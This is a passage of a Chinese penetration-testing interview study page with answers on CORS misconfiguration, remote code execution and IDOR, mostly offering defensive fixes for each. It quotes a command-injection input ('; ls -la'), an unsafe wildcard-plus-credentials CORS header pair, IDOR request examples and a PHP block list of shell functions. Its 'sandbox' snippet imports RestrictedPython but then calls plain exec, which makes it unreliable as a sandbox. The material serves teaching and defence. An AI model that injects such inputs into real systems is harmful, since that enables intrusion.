    现代性 现代标准 老旧方式

    与CSRF的关系:

    • CORS漏洞:配置不当导致数据泄露
    • CSRF漏洞:缺乏防护导致未授权操作
    • 两者结合:CORS配置错误可能加剧CSRF风险

    894. 跨域资源共享(CORS)漏洞修复

    详细分析:

    1. 正确配置ACAO

    Http

    复制

    # 严格指定允许的域 Access-Control-Allow-Origin: https://trusted.com # 动态校验 if request.origin in ALLOWED_ORIGINS: response.headers['Access-Control-Allow-Origin'] = request.origin

    2. 避免危险组合

    Http

    复制

    # 危险:通配符+凭证 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true # 安全:二选一 Access-Control-Allow-Origin: https://trusted.com Access-Control-Allow-Credentials: true # 或 Access-Control-Allow-Origin: * # Access-Control-Allow-Credentials: false (默认)

    3. 严格校验Origin

    Python

    复制

    ALLOWED_ORIGINS = ['https://example.com', 'https://api.example.com'] def check_cors_origin(origin): # 精确匹配,避免模糊匹配 if origin in ALLOWED_ORIGINS: return origin return None

    4. 限制方法/头部

    Http

    复制

    Access-Control-Allow-Methods: GET, POST Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Max-Age: 86400

    895. 远程执行代码(RCE)漏洞原理

    详细分析:

    1. 基本概念:

    RCE(Remote Code Execution)允许攻击者在目标系统上执行任意代码。

    2. 常见入口:

    • 命令注入:; ls -la
    • 代码注入:eval(user_input)
    • 反序列化:恶意序列化数据
    • 文件上传:上传webshell
    • 模板注入:SSTI(Server-Side Template Injection)

    3. 攻击链:

    输入点 → 过滤绕过 → 代码执行 → 权限提升 → 持久化

    896. 远程执行代码(RCE)漏洞修复

    详细分析:

    1. 输入验证

    Python

    复制

    # 白名单验证 import re def validate_input(input_str): if not re.match("^[a-zA-Z0-9\\s]+$", input_str): raise ValueError("Invalid input") return input_str

    2. 避免危险函数

    PHP:

    Php

    复制

    // 禁用危险函数 disable_functions = exec,system,passthru,shell_exec

    Python:

    Python

    复制

    # 使用安全替代 import subprocess # 危险:os.system(command) # 安全:subprocess.run(['ls', '-la'])

    3. 最小权限运行

    Bash

    复制

    # 使用非特权用户 sudo -u www-data php script.php

    4. 沙箱隔离

    Python

    复制

    # Python沙箱 import RestrictedPython code = """ print('Hello World') """ restricted_globals = { '__builtins__': {}, 'print': print } exec(code, restricted_globals)

    897. 越权漏洞(IDOR)漏洞原理

    详细分析:

    1. 基本概念:

    IDOR(Insecure Direct Object Reference)直接使用用户提供的参数访问对象,没有验证权限。

    2. 示例:

    正常:/api/user/123(用户123查看自己的信息)
    越权:/api/user/456(用户123查看用户456的信息)

    3. 根本原因:

    • 使用顺序ID(1,2,3,…)
    • 缺乏权限验证
    • 对象引用暴露

    898. 越权漏洞(IDOR)漏洞种类

    详细分析:

    1. 水平越权

    特点:同权限用户间访问

    Http

    复制

    # 用户A访问用户B的数据 GET /api/orders/100 # 用户A的订单 GET /api/orders/101 # 用户B的订单

    2. 垂直越权

    特点:低权限访问高权限功能

    Http

    复制

    # 普通用户访问管理功能 GET /admin/users POST /api/admin/create-user

    3. 上下文相关越权

    特点:跨上下文访问

    用户在公司网络访问内网资源
    离开公司后仍然可以访问

    899. 越权漏洞(IDOR)漏洞区别

    详细分析:

    水平vs垂直越权:

    维度水平越权垂直越权
    权限等级 相同 不同
    危害范围 单个用户数据 整个系统
    检测难度 较易(修改ID) 较难(发现功能点)
    修复重点 数据隔离 功能权限控制

    与未授权访问的区别:

    • 越权:有部分权限,但访问了不该访问的资源
    • 未授权:没有任何权限,直接访问

    900. 越权漏洞(IDOR)漏洞修复

    详细分析:

    1. 权限验证

    每次访问都验证:

    Python

    复制

    def get_order(order_id): order = Order.query.get(order_id) if not order: return {"error": "Order not found"}, 404 # 验证当前用户是否有权访问 if order.user_id != current_user.id and not current_user.is_admin: return {"error": "Access denied"}, 403 return order.to_dict()

    2. 间接引用映射

    Python

    复制

    # 不直接使用数据库ID # 使用用户特定的引用ID user_orders = { "user_123": ["order_abc", "order_def"], "user_456": ["order_xyz"] } # 前端传递 order_abc # 后端映射到实际ID

    3. 使用随机标识符

    Python

    复制

    # 使用UUID代替自增ID import uuid class Order(db.Model): id = db.Column(db.Integer, primary_key=True) public_id = db.Column(db.String(36), default=lambda: str(uuid.uuid4())) # API使用public_id GET /api/orders/<public_id>

    4. 访问控制列表(ACL)

    Python

    复制

    # 基于角色的访问控制 def check_permission(user, resource, action): if user.role == 'admin': return True # 检查ACL acl = ACL.query.filter_by( user_id=user.id, resource_type=resource.type, resource_id=resource.id, action=action ).first() return acl is not None

    赞(0)
    未经允许不得转载:网硕互联帮助中心 » 2026年渗透测试面试题总结-30(题目+回答)
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!